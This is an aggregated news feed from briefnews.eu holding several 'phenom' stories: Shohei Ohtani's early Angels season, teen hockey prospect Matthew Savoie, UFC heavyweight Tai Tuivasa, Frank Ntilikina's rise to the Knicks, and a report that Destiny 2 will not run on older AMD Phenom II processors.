There’s no shame in making a living on the waves. But for Fioravanti, it’s a legacy he’s after. “There are a lot of young Italians interested in surfing,” he says. “I want to inspire the growth of that culture.”

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]]> https://briefnews.eu/from-rome-to-shred-italys-surfing-phenom-beats-the-odds-on-tour/feed/ 0 Bob Elliott's Baseball: Phenom Shohei Ohtani continues to amaze https://briefnews.eu/bob-elliotts-baseball-phenom-shohei-ohtani-continues-to-amaze/ https://briefnews.eu/bob-elliotts-baseball-phenom-shohei-ohtani-continues-to-amaze/#respond Fri, 25 May 2018 00:56:21 +0000 http://briefnews.eu/bob-elliotts-baseball-phenom-shohei-ohtani-continues-to-amaze/ Away back during the courtship period — long before free-agent Shohei Ohtani signed with the Los Angeles Angels — we asked a scout about the player's best attribute?

"His speed," said the scout who had been to Japan.

His velocity?

"No, he's fast, I saw him break late to cover first and he still beat a quick runner to take the throw for the out," said the scout. "He can really run."

Thoughts of that November conversation came to mind Wednesday watching Ohtani effortlessly lope home from second in the top of the ninth. He scored what stood as the game winner on Andrelton Simmons's two-run single. The Simmons' single capped a four-run ninth for a 5-4 Angels' win.

So, to recap Ohtani: his fastball averages 98 m.p.h., his smooth left-handed swing deposits balls into the second deck  … AND … he's fast.

Angels general manager Billy Eppler estimates Ohtani would be clocked home-to-first in 4.0 seconds. Not spectacular. Not Maury Wills or Vince Coleman.

"It's his stride length," Eppler said outside the Angels' clubhouse. "He has a stride length similar to Larry Walker."

Walker, of Maple Ridge, B.C., stole 230 bases, including 33 with the 1997 Colorado Rockies.

Asked the most impressive thing about Ohtani, Eppler does not hesitate, saying: "Shohei's approach is so detailed. He is so prepared for the pitcher he will face [as a DH] or the opposing lineup when he is pitching."

Los Angeles edges Toronto 5-4, Andrelton Simmons hits tiebreaking 2-run single. 1:49

Ohtani best from Japan

Eppler grew up in San Diego watching Tony Gwynn slash line drives all over Jack Murphy Stadium on his way to winning batting titles for the Padres.

Eppler said he remembers watching interviews of Gwynn "at his house in Poway. There were stacks and stacks of VHS tapes in the background."

Hideki Okuda of Sport Nippon, the dean of ball scribes from Japan, after Gaku Tashiro returned to Tokyo, has been covering players from his country from his base in Los Angeles for more than 20 years. His first season was covering Hideo Nomo's third year in 1997 with the Los Angeles Dodgers.

And he was there for Kazuhiro Sasaki's arrival in 2000 as the Seattle Mariners closer, Ichiro Suzuki's arrival with the M's in 2001, Daisuke Matsuzaka with the Boston Red Sox in 2007 and Yu Darvish with the Texas Rangers in 2012.

"Each player had different levels of excitement in Japan," Okuda said. "The most important statement I have heard about Shohei Ohtani was when an American reporter asked Mike Scioscia [Angels manager] 'If Ohtani was the best player he had seen from Japan?'

"Mike Scioscia answered 'We should be comparing Shohei Ohtani to Ken Griffey Jr., and Mike Trout — the best to ever play the game.'"

Leading up to last Dec. 8, when Ohtani made his decision with the Angels, favorites to sign him were the New York Yankees and the Los Angeles Dodgers. Okuda said he thought Ohtani would sign with the Blue Jays since "they spent the most resources scouting Ohtani. The Angels did not even scout Ohtani."

Two Blue Jays scouts who saw Ohtani declined to comment, one politely. They remain under the cone of silence former GM Alex Anthopoulos installed.

In Japan, Ohtani spent five seasons (2013-17) as a member of the Nippon Ham Fighters and was a five-time all-star and 2016 Pacific Coast League MVP. On the mound he combined to go 42-15 with a 2.52 ERA and 624 strikeouts. At the plate he hit .286 with 48 home runs and 166 RBIs. His final two seasons he batted .328.

Why did the Angels wind up with Ohtani? The common answer is "I wish I knew."

When Ohtani visited Anaheim, a group of eight executives made a presentation to Ohtani: on what life was like in the Angel organization, every day, every month, from spring training until the end of the season. Mike Trout phoned in on FaceTime to speak.

"I think having the chance to play with Mike might have been a factor, it helped that we were on the coast," said Eppler, who headed to Laguna Beach, Calif., and scooped up sand as a souvenir. The Ohtani delegation was presented with Omiyage gifts, a custom in Japan. They gave him Martin Maldonado and Andrelton Simmons bats left behind at the end of the season.

Ohtani’s speed is one of the attributes that make him a complete player. (Frank Gunn/Canadian Press)

Former Blue Jays in awe

The only two Blue Jays AL rookie of the year award winners both sit in the Los Angeles coach's room: first base coach Alfredo Griffin (who won in 1979) and Eric Hinske (2002) is the hitting coach.

Ohtani had a troublesome spring for the Angels, batting 4-for-32 (.125) with zero home runs and one RBI while fanning 10 times. On the mound, he allowed nine hits and nine runs in 2 2/3 innings.

Like many Japanese hitters, Ohtani had a pronounced leg kick when he arrived in Arizona. Hinske notice he was having trouble timing pitches with the kick, so he suggested losing the leg kick, keep his foot down and go with a toe tap.

The Angels were playing the final game of the Freeway Series, an exhibition game at Dodger Stadium, when Ohtani and Hinske discussed the change.

"He said he wanted to see if he could still hit home runs in batting practice with his foot down," Hinske said. "He hit home runs all over in BP. After that, he said, 'I'm all in.'"

Griffin calls Ohtani special: "To hit the way he's hitting and to not take BP the day before and after he pitches. I have never seen a guy like this. He is a power arm like Randy Johnson and so athletic he could play centre field."

Baltimore Orioles manager Buck Showalter said "Ohtani impressed me … he's like Ichiro with power. He can handle velocity and he can really run."

Former Blue Jays and Angel Vernon Wells watched Ohtani take swings during batting practice, shook his head and described the rookie as "a freak," in a clubhouse complimentary way.

Angels Bill (William Hambly) Stoneman, senior advisor, baseball operations and former GM, made the trip.

"The most amazing thing for me was how his performance [hitting and pitching] changed from unimpressive in the spring to outstanding when the season started," Stoneman said. "This guy is a true all-around athlete – what the old-time scouts would call a five-tool player.

"He has a sweeping swing. On the mound he has more than just a good fastball. He has a real good curve and a splitter."

Ohtani leads AL rookies in strikeouts (52) and is second in wins (four). He has a hit safely in 19-of-23 games. His six homers are tied for most in AL amongst rookies while he had made quality starts in five of seven outings.

Ohtani became fourth player in modern era with more than 25 pitching strikeouts and four or more home runs in a month — the first since Chicago Cubs Hall of Famer Fergie Jenkins in September of 1971. Only two others, Wes Ferrell and Don Drysdale, has struck out as many and gone deep as often in a single month.

Comparisons to Walker and Gwynn's abilities. Accomplishment to match Jenkins, Drysdale and Ferrell. And some day he will be the best two-way man since Babe Ruth.

Ohtani is the first player since 1920 to start separate games as a hitter and pitcher. (Mark J. Terrill. Associated Press)

Quick hits

You are welcome here: Len Woods helps coach two teams in the Oakville A's organization. His eldest son Jordan is a lefty hurler, while brother Trevy is an athletic catcher. Three years ago, on a weekend that both kids had tournaments, he spent Friday, Saturday and Sunday rushing from one park to another.

He decided to meet his wife Julie at Via Allegro Ristorante. Woods walked in wearing his uniform and said to the maître d', "Look, I'm sorry, I know that I am not properly dressed, but I've been running from one park to another all weekend, my wife and I want to have a date night. Can I enter?"

The man smiled and said, "Do I have someone for you to meet." He introduces Wendy Votto, mother of Joey Votto, former National League MVP winner. Wendy, the restaurant's sommelier, escorted the Woods to a table, ordered the vino and meal.

"We had a wonderful time chatting with Joey's mother," said Woods. "It was one of the most memorable dates my wife and I have ever had."

Home again: After pitching for the Expos, Stoneman worked in Mississauga managing a branch of the Royal Trust and lived in Georgetown. His Georgetown neighbours will attend Thursday's game. Stoneman visited his daughter Jill in Brampton in time for his granddaughter Eva's 18-year-old birthday.

MLB Network line of the week: "And here he is … leading the league in most offensive categories … including nose hairs." – Ryan Dempster

MLB Network Line of the week runner-up: Harold Reynolds to Greg Amsinger: "Do you have your side burns groomed? Of course you don't … they're uneven."

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]]> https://briefnews.eu/bob-elliotts-baseball-phenom-shohei-ohtani-continues-to-amaze/feed/ 0 Teen phenom Matthew Savoie draws comparisons to Sidney Crosby https://briefnews.eu/teen-phenom-matthew-savoie-draws-comparisons-to-sidney-crosby/ https://briefnews.eu/teen-phenom-matthew-savoie-draws-comparisons-to-sidney-crosby/#respond Wed, 24 Jan 2018 08:18:23 +0000 http://briefnews.eu/teen-phenom-matthew-savoie-draws-comparisons-to-sidney-crosby/

He’s only 14 but already Matthew Savoie is drawing comparisons to the likes of NHL stars Sidney Crosby and Nathan MacKinnon.

Trouble is, Savoie isn’t eligible for the Western Hockey League bantam draft until May 2019 and even then would be allowed to play just five games during the 2019-20 campaign. That has Savoie’s family considering whether to apply for exceptional status.

If granted, Savoie could play the entire 2019-20 season.

“There’s been some talk about it,” said Savoie’s father, Scott.

Scott Savoie is well aware of the risks associated with allowing his son to move away from home and play in the WHL as a 15-year-old. But there’s also the consideration of Matthew Savoie’s development.

“We still want to challenge him in the game,” Scott Savoie said. “So depending on what his skill level is, if that’s the next level he needs to get to to be challenged, then you have to take that into account as well.”

Playing style mirrors Crosby

The native of St. Albert, Alta., began playing bantam hockey as a 12-year-old last season, competing against 13- and 14-year-olds. He’s currently in his second year at the level, having recorded 20 goals and 61 points in 19 games with the Northern Alberta Xtreme.

He kind of plays the same type of style [as Sidney Crosby] where he’s so competitive, fights for pucks and is hard on his stick.— ISS Hockey scout Brent Parker on  Alberta teen  Matthew Savoie

His average of 3.2 points per game is tied for first in the CCSHL Bantam Prep Division.

Brent Parker, a former Regina Pats executive now serving as the head western Canadian scout for ISS Hockey, feels Savoie might’ve been a top-five selection at last year’s WHL draft and would certainly go first overall this year if eligible.

“Because of the way he skates I hate using Sidney Crosby,” Parker said. “But he kind of plays the same type of style where he’s so competitive, fights for pucks and is hard on his stick.

“I remember watching Nathan MacKinnon in bantam with Shattuck St. Mary’s, and there’s a little bit of that. I don’t think he’s quite as explosive a skater as MacKinnon, but he’s an awful good skater.”

Weighing options

But the WHL isn’t Savoie’s only option. He could follow his older brother, 15-year-old Carter Savoie, and take the college route. The older Savoie has committed to the University of Denver in November despite being selected by Regina in the 2017 WHL draft.

The Canadian Hockey League has granted exceptional status sparingly.

The Quebec Major Junior Hockey league have given it to just one player (Joe Veleno) while the Ontario Hockey League has awarded the distinction to four players, including Edmonton Oilers captain Connor McDavid.

The WHL has never had done so.

“If they apply for it, I’d be shocked if they didn’t get it,” Parker said. “He’s good enough.

“You watch the way he plays and how hard he competes. He’s dynamic when he’s got the puck on his stick and yet he works hard to get back and play the game at the other end too — there’s just not much to not like about the way he plays.”

Ahead of the curve

One concern the family has about requesting for exceptional status is the social aspect. Savoie would face some players who are five years older than him but his coach, Tyrel Spitzer, doesn’t see that as an issue.

“I would say he’s a little bit more advanced than the majority of kids his age,” said Spitzer. “Maybe part of that has to do with always playing up [a level] and being around that and seeing that.”

Savoie is also ahead of the curve off the ice. The Grade 8 student is already working on Grade 9 classes, which he’s expected to wrap up before Christmas.

The five-foot-eight, 150-pound forward tries to model his game after McDavid and is continually looking to improve.

“My stick skills and shot at this point and my communication as well,” Savoie said regarding the areas he’s looking to get better in.

Playing against older talent has required him to be more focused.

“It’s a lot more challenging and it makes you work harder,” he said. “Put more effort in.”

Savoie’s ability to successfully make the jump to midget hockey — and play against 17-year-olds — next season will help the family determine whether to apply for exceptional status.

“If he’s one of the top players there then it’s always a good measuring stick,” said family advisor Kevin Epp. “When you see kids that are a year ahead of you who’re going to go play major junior, if you’re as good as them and you’re younger, then it’s kind of like, ‘OK well, if there going to play in the WHL, why wouldn’t I?’ “

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]]> https://briefnews.eu/teen-phenom-matthew-savoie-draws-comparisons-to-sidney-crosby/feed/ 0 UFC fighters ducking Aussie phenom https://briefnews.eu/ufc-fighters-ducking-aussie-phenom/ https://briefnews.eu/ufc-fighters-ducking-aussie-phenom/#respond Fri, 15 Dec 2017 05:24:51 +0000 http://briefnews.eu/ufc-fighters-ducking-aussie-phenom/ TAI Tuivasa boasts only one UFC fight.

Under five minutes in the Octagon.

And still, this rising Australian heavyweight has been ducked by five different rivals on his way to landing a spot on Australia’s next blockbuster card, UFC 221.

The Daily Telegraph can reveal Tuivasa, 24, will throw down with Frenchman Cyril Asker in Perth on February 11.

Incredibly, the Sydneysider’s manager Zen Ginnen has revealed it took six approaches to the UFC – “and they’re just the ones we know about” – before an opponent could be found for the heavyweight whose six professional wins have all come via first round KO.

“Tai is keen to fight anyone in the division,’’ Ginnen said.

“But since winning his UFC debut, it’s been incredibly difficult finding an opponent for him. In recent weeks I’ve approached matchmakers about five different guys – and every one of them said no.

“At one point, Tai even said ‘look, maybe the Perth card isn’t meant to be’. But we’ve persisted because this is a historic event for Australia and we believe Tai deserves to be part of it.”

RUTHLESS V DOS ANJOS: winner gets title shot

MARK HUNT: ‘Werdum is a chicken s**t coward

Once considered a future NRL star at the Roosters, Tuivasa enjoyed a stunning first up win last month, starching American Rashad Coulter with a spectacular flying knee at UFC Sydney.

Asked if he was surprised so many rivals were suddenly ducking him, the undefeated puncher said: “No, not really.

“I guess they’re just trying to be smart, protect their careers.

“This is a cut throat industry.

“And nobody wants to lose, especially to someone like me, with only the one fight.

“But the way I look at things, we’ll all run into each other eventually. That’s why I’ll always want to fight the best opponents available.”

And for now, that’s Asker.

A 31-year-old from Avignon who, dubbed ‘The Silverback’, has won nine of 12 professional fights, including two of four in the UFC.

Asked what he knew about his European rival, Tuivasa laughed: “I know he’s French. And apparently he’s got some belt in jiu jitsu. But that’s it.”

“I leave all that sort of stuff to my team to work out. My only job is to keep training, working hard and moving this fat body around.”

UFC 221 now looms as a huge card for Australian fight fans.

Apart from being headlined by Sydneysider Robert Whittaker, who will defend his UFC middleweight title against Luke Rockhold, fights have also been announced for fellow Australians Tuivasa, Mark Hunt, Tyson Pedro and Nguyen.

As part of his preparations, Tuivasa is today flying to the Gold Coast for a training camp with Hunt, whom he has assisted as a sparring partner since his teens.

“I’ll still pop back for Christmas Day,” Tuivasa says. “It will be the first one for my little bloke (Carter) so I have to be here for that.

“But then I’ll go straight back into camp.

“You know what happens at Christmas. I can’t afford to be down here around all the food.

“So it’s going to be a short visit, a lonely holiday period for me. But I know the payoff will be worth it.”

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]]> https://briefnews.eu/ufc-fighters-ducking-aussie-phenom/feed/ 0 MLB teams abuzz about Shohei Ohtani, baseball’s next two-way superstar — here’s what fans should know about the Japanese phenom https://briefnews.eu/mlb-teams-abuzz-about-shohei-ohtani-baseballs-next-two-way-superstar-heres-what-fans-should-know-about-the-japanese-phenom/ https://briefnews.eu/mlb-teams-abuzz-about-shohei-ohtani-baseballs-next-two-way-superstar-heres-what-fans-should-know-about-the-japanese-phenom/#respond Tue, 05 Dec 2017 02:41:55 +0000 http://briefnews.eu/mlb-teams-abuzz-about-shohei-ohtani-baseballs-next-two-way-superstar-heres-what-fans-should-know-about-the-japanese-phenom/ Shohei OhtaniMasterpress/Getty

Shohei Ohtani has never thrown a pitch or made a plate appearance in an MLB game, yet for a few teams, he’s the biggest potential prize of the entire offseason.

With a sweet left-handed swing to go along with his cannon for a right arm, Ohtani hits almost as well as he pitches, making him a rare two-way player. Thanks to his exploits in Nippon Professional Baseball, he’s been referred to as the Japanese Babe Ruth, a nickname that has generated outsized excitement and outsized expectations.

Of course, even Ruth eventually chose to focus on hitting only, and it remains to be seen how the winner of the Ohtani sweepstakes will use him in the states. But no matter what, the 23-year-old phenom’s journey to a long-awaited MLB career has been full of twists and turns, and there may be some more before he signs.

Below, find out everything you need to know about one of baseball’s truly unique stars.

Despite having never appeared in an MLB game, Shohei Ohtani has become the talk of baseball.

Masterpress/Getty

In just five seasons in Japan’s Nippon Professional Baseball, the 23-year-old Ohtani has become renowned for his ability to affect the game both at the plate…

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…and from the mound.

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See the rest of the story at Business Insider

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]]> https://briefnews.eu/mlb-teams-abuzz-about-shohei-ohtani-baseballs-next-two-way-superstar-heres-what-fans-should-know-about-the-japanese-phenom/feed/ 0 Destiny 2 doesn’t work with old AMD Phenom II CPUs https://briefnews.eu/destiny-2-doesnt-work-with-old-amd-phenom-ii-cpus/ https://briefnews.eu/destiny-2-doesnt-work-with-old-amd-phenom-ii-cpus/#respond Tue, 24 Oct 2017 23:56:35 +0000 http://briefnews.eu/destiny-2-doesnt-work-with-old-amd-phenom-ii-cpus/

Destiny 2 is out on PC, but some players may have to upgrade before they can play it if they are running older AMD Phenom II-generation CPUs. A number of people on forums reported that they bought Bungie’s sci-fi cooperative online shooter after trying it during the beta, but the final game crashes to their desktop during the character-select screen. This won’t affect most people, who have upgraded or bought their PC in the last seven years.

Since launching Destiny 2 on PC earlier today, however, Bungie has updated its “known issues” tracker to confirm why some of those dated chips may not work. “Destiny 2 will not run on processors without Supplemental Streaming SIMD Extensions 3 (SSSE3),” reads the Bungie forums.

AMD added SSSE3 to its chips starting with its Bobcat architecture in 2011, and all of its chips after that point included the technology. That means Phenom II CPUs from 2010 or earlier won’t work with Destiny 2 — at least for now.

I’ve reached out to Bungie to ask if this is something that could change. The studio hasn’t responded yet, but I’ll pass along any statement I get from the studio. One reason some fans are surprised a CPU from seven years ago doesn’t work with Destiny 2 is because the chip seemed to handle the game’s preview beta test just fine.

Here’s Destiny 2’s beta test running on high settings with the Phenom II X4:

For everyone with a more recent CPU, Destiny 2 seems as well-optimized as we expected. It runs at 4K and 60 frames per second without breaking a sweat on an Nvidia GTX 1080 Ti and Intel i7 7700k. But it also scales down to run on laptops and older machines … just not older machines running certain AMD CPUs from last decade.

If you did buy the game and are running a CPU without SSSE3 support, you can ask Blizzard support for a refund.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

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]]> https://briefnews.eu/destiny-2-doesnt-work-with-old-amd-phenom-ii-cpus/feed/ 0 Meet the Knicks' New Foreign Phenom https://briefnews.eu/meet-the-knicks-new-foreign-phenom/ https://briefnews.eu/meet-the-knicks-new-foreign-phenom/#respond Mon, 16 Oct 2017 18:54:27 +0000 http://briefnews.eu/meet-the-knicks-new-foreign-phenom/

Last November, OZY brought you this story of a teenage French phenom rocketing up NBA draft boards. Six months later, the New York Knicks made 19-year old Frank Ntilikina the eighth player drafted, one of two international players in the top eight picks. Since then? New York traded away longtime face of the franchise, Carmelo Anthony, clearing the way for Ntilikina and third-year star Kristaps Porzingis to dominate the offense. Ntilikina missed all but one preseason game with a minor knee bruise, but he’s said to be ready for the regular season opener. You can catch the Knicks Rising Star on Thursday at 8:00pm ET on TNT. His first opponent? Anthony’s Oklahoma City Thunder.

Here’s what we had to say about Ntilikina in late 2016:

At age 5, Frank Ntilikina did everything he could to get ahold of NBA highlights. Growing up in Strasbourg, France, that took some work.

Thirteen years later, Ntilikina (the “T” is silent) has established himself as a top international basketball prospect, one who could be just months away from hearing his name called early on draft night. At 6-foot-5, with a nose for defense and passing, as well as a reputation for maturity, Ntilikina is a point guard built for the modern game, according to Henrik Dettmann, who coaches him on Strasbourg IG, one of the top teams in France. Ntilikina’s professional career started early, at 15; he’s already won a U16 European Championship and an invitation to the prestigious Basketball Without Borders Global Camp in February. Jonathan Givony of Draft Express called Ntilikina “a coach’s dream,” and the site predicts he’ll go sixth overall in this year’s draft.

Chalk part of that success up to good timing. Ntilikina is coming up in an age when the NBA is more global than ever. “He’s the best international prospect, with a combination of offensive and defensive potential,” says NBA draft scout Joshua Riddell. NBA teams are increasingly gambling on international prospects. In 2014, Aussie Dante Exum went fifth overall, to the Utah Jazz. A year later, Kristaps Porzingis of Latvia went fourth, to the New York Knicks; this summer saw the Phoenix Suns draft Dragan Bender, an 18-year-old power forward from Croatia. French players continue to reign, with Tony Parker of the San Antonio Spurs, Nic Batum of the Charlotte Hornets and Rudy Gobert and Boris Diaw of the Jazz.

This recent trend is promising for Ntilikina’s aspirations, but he’s not thinking too far ahead. “It gives me confidence, because it shows everything is possible,” he says. “I don’t think about the draft — I have to focus on what I’m doing now.”

Born in Brussels to a nurse and a taxi driver, Ntilikina moved to Strasbourg at age 3. He grew up proud of his northeastern hometown, with itsbeautiful, warm summers. The youngest of four, he long towered above his siblings. He was discovered by Strasbourg’s lesser-known team and began playing professionally for the youth team at 15. France’s system of youthteams resembles European soccer academies — once a young player is found, he joins the professional team’s younger group and then gets promoted to the big club. Ntilikina made his debut in 2015,playing with and against men twice his age and weight. “He likes to rebound and push the ball, and he’s already an elite-level passer and A-plus defender,” Riddell says. Ntilikina is also a student and admirer of the game’s best: Tony Parker, Russell Westbrook, Stephen Curry and Kyrie Irving. His first role model, he says, was LeBron James.

Ntilikina could be a member of the next wave of great point guards — his class of draftees may turn out to be better than 2009’s, which produced Stephen Curry, Jrue Holiday, Jeff Teague and Ricky Rubio. Among the crew are Washington freshman Markelle Fultz, NC State’s Dennis Smith, UCLA’s passing prodigy Lonzo Ball and Kentucky’s De’Aaron Fox. “It’s one of the best point guard classes in a while,” says Riddell. The Sixers, Knicks, Bucks and Kings figure to be among the teams that will keep the closest tabs on these floor generals. But Ntilikina might not stand out from the pack, as being international has its disadvantages. He is the only one of the group who hasn’t passed through the AAU circuit or college basketball. Without a long history of starting or of playing more than 30 minutes a game, Ntilikina may warm the bench at first.

Though Ntilikina’s maturation, and passing and defensive instincts, is ahead of the curve, he came into the current French season in need of strength, minutes and improving as a scorer. Between 10 preseason games and three regular-season appearances, his scoring sits low, at around seven points per game.

But he’s practicing, shooting 45 percent from three on 31 attempts. “I’m somebody that wants to work on every part of the game: defense, passing, shooting, IQ,” Ntilikina says. Indeed, he worked all summer on his jumper and it shows. His style of play could translate well to the NBA; France might have the closest style to the association of any international feeder. “It’s athletic, it’s quick,” says Dettmann.

With his team trailing by six late in the fourth in a mid-October game against Juventus, Ntilikina got an open look for three on the left side of the 3-point line. Here was a golden opportunity to show that his shot has improved and that he can handle big moments. And? Nothing but net.

This story was originally published on November 2, 2016.

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